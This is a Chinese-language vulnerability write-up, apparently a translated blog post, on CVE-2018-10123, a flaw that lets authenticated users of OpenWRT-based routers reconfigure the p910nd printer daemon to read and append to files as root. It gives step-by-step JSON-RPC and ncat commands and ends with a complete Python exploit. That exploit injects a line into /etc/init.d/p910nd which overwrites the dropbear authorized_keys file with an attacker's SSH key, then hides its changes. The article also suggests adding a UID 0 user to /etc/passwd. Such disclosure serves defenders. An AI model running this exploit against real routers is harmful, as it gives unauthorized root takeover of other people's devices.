基于OpenWRT的路由器打印服务获取 root 权限(CVE-2018-10123)

阅读量    61070 |   稿费 160

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

我在Inteno的IOPSYS固件中发现了另一个漏洞,但我相信这会影响打印机服务器p910nd附带的所有OpenWRT或基于LEDE的路由器。任何经过身份验证的用户都可以修改打印机服务器的配置,允许他们以根用户的身份读取任何文件并将其追加到任何文件中。这可以导致信息泄漏和远程代码执行。此漏洞已被分配给CVE ID: CVE-2018-10123

我以前写过关于Inteno设备漏洞的报告(123)。我建议阅读第一篇文章,因为它描述了如何调用路由器上的函数-包括那些可能不在管理面板中列出的函数。

在查看经过身份验证的用户可以修改的配置时,我注意到了p910nd的一个部分。根据OpenWRTwiki,它是一个轻量级守护进程(daemon),主要负责连接到路由器的设备和连接到路由器的打印机之间的网关。它在默认情况下是禁用的,但是可以很容易地在管理面板中启用。默认情况下,如下所示:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}

< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}

我感兴趣的是设备的价值。从管理的角度来看,这是有意义的,但是普通的最终用户不应该能够改变这一点。还有,如果我们把p910nd指向其他东西-也许是一个文件-会发生什么?出于测试目的,通过SSH访问权限,我创建了一个测试文件:

# cat > /tmp/test << EOF
> Testing123
> EOF

我启用了p910并更改了设备以指向我们新创建的文件:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}

根据文档,服务侦听端口9100。我使用Netcat连接到该端口:

$ ncat 192.168.1.1 9100
Testing123

马上就得到了文件的内容。我修改了测试文件的权限,以查看是否可以读取具有根用户访问权限的文件:

# chmod 600 /tmp/test
# ls -al /tmp/test
-rw-------    1 root    root    11 Apr 14 23:23 /tmp/test

同样,我们可以成功地读取文件:

$ ncat 192.168.1.1 9100
Testing123

这是可以理解的,因为p910nd守护进程在系统上有根权限。该配置还有一个名为bidirectional的值,值被设置为1。这是否意味着我们也可以写入文件呢?我在Netcat中键入了另一个测试字符串,看它是否会被附加到文件中。我按下回车键,以确保字符串正在发送:

$ ncat 192.168.1.1 9100
Testing123
foobar

检查文件是否发生了更改:

# cat /tmp/test
Testing123
foobar

事实上,即使是写入文件也是可能的!这使得攻击者能够轻松地访问系统。例如,可以使用UID 0和已知密码将用户添加到/etc/passwd。

在进行了一些测试之后,我还得出一个结论,攻击者希望写入的文件必须已经存在-只需将设备值更改为不存在的文件,就不会创建该文件。但是,攻击者仍然可以将脚本附加到作为根用户执行的脚本,并添加他们希望执行的任何代码。

我编写了一个PoC,将一行附加到/etc/init.d/p910nd脚本,在执行时,该脚本将用我的SSH键覆盖/etc/Drop/Authorated_Key,使我能够轻松地以根用户身份进行SSH。每次通过UCI提交更改时都会执行此脚本,UCI使用UCI重新启动服务。执行的脚本:

如果你有一个具有受限访问权限的Inteno路由器,则可以使用此PoC添加自己的SSH密钥并以根用户身份登录。它还可以与p910nd捆绑的其他路由器一起工作,并使用jsonrpc协议进行通信。最后,你可能必须也将IP更改为/ubus。如果使用不同的协议,则需要不同的PoC。

这个PoC需要Python3.6和一个名为webSocket-Client的模块,你可以通过pip安装webSocket-Client来安装这个模块。请注意,如果你想使用它,就应该编辑脚本的第58-61行,以便包含适当的IP、用户名、密码和SSH密钥,还可以编辑第63行,以包含您自己的执行代码。

#!/usr/bin/python3

import json
import sys
import socket
import os
import time
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

def sendData(host, port, data=""):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(data.encode('utf-8'))
    s.shutdown(socket.SHUT_WR)
    s.close()
    return(None)

def recvData(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    data = s.recv(1024)
    s.shutdown(socket.SHUT_WR)
    s.close()
    return(data)

if __name__ == "__main__":
    host     = "192.168.1.1"
    username = "user"
    password = "user"
    key      = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427"
    payload  = ("""
    /bin/echo "%s" > /etc/dropbear/authorized_keys;
    """ % key)

    print("Authenticating...")
    key = ubusAuth(host, username, password)
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Enabling p910nd and setting up exploit...")
    pwn910nd = ubusCall(host, key, "uci", "set",
        {"config":"p910nd", "type":"p910nd", "values":
        {"enabled":"1", "interface":"lan", "port":"0",
        "device":"/etc/init.d/p910nd"}})
    if (not pwn910nd):
        print("Enabling p910nd failed!")
        sys.exit(1)

    print("Committing changes...")
    p910ndc = ubusCall(host, key, "uci", "commit",
        {"config":"p910nd"})
    if (not p910ndc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Waiting for p910nd to start...")
    time.sleep(5)

    print("Sending key...")
    sendData(host, 9100, payload)

    print("Triggerring exploit...")
    print("Cleaning up...")

    dis910nd = ubusCall(host, key, "uci", "set",
        {"config":"p910nd", "type":"p910nd", "values":
        {"enabled":"0", "device":"/dev/usb/lp0"}})
    if (not dis910nd):
        print("Exploit and clean up failed!")
        sys.exit(1)

    p910ndc = ubusCall(host, key, "uci", "commit",
        {"config":"p910nd"})
    if (not p910ndc):
        print("Exploit and clean up failed!")
        sys.exit(1)

    print("Exploitation complete")
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多